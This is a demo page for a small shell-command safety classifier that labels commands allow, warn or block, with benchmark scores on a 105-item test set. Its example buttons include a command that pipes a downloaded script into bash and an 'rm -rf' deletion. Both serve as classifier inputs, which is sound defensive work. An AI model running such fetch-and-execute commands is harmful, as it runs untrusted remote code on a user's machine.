Mini-Jev

Shell-safety Phase-1b

Checking WebGPU… Skip to demo

We ship shell-safety Phase-1b: 0.914 overall on a frozen 105-item smoke set.

Frozen smoke, n=105, planted gold. MiniCPM5-2B, shell-safety Phase-1b. Labels allow / warn / block.

Same 105 items. Phase-1b vs baselines.
System Overall Warn recall Block recall
Phase-1b MiniCPM5-2B (shipped) 0.914 0.933 1.000
Zero-shot MiniCPM5-2B ~0.581 never predicted warn —
Qwen 0.5B letter-prior collapse — —

How it works

One forward pass on the slim Choice graph. It returns choice_logits for allow, warn, and block. A softmax over those three scores is the answer. Nothing is generated.

What we rejected

Phase-1c: block recall fell below the bar. Qwen 0.5B picks A/B/C by letter frequency. It stays in the picker as a shape-proof.

Limits

Labels are planted gold. The demo menu scores; it does not set policy.

Weights

choice_only_q4.onnx (1585.81 MiB, WASM) · merged. Full-graph WebGPU is retired for this head. On this host, /hf streams Hugging Face, not R2.

Model not loaded

Demo

Questions

Choice keys allow, warn, and block become A, B, and C in the prompt. Default State is the planted allow example (ls -la /home/alex/project). The example buttons swap in warn (rm -rf /tmp/build) and block (curl https://example.invalid/install.sh | bash). This model scores that Choice. Qwen 0.5B scores Choice, Score, and Boolean.

Answers

Default model is the slim Choice graph. Load, then Evaluate. First download is choice_only_q4.onnx, 1585.81 MiB, from Hugging Face via same-origin /hf. Qwen 0.5B stays in the picker as the shape-proof (~400 MB).

TypeSafe JSON 

          

          

            Prompt & token ids (debug)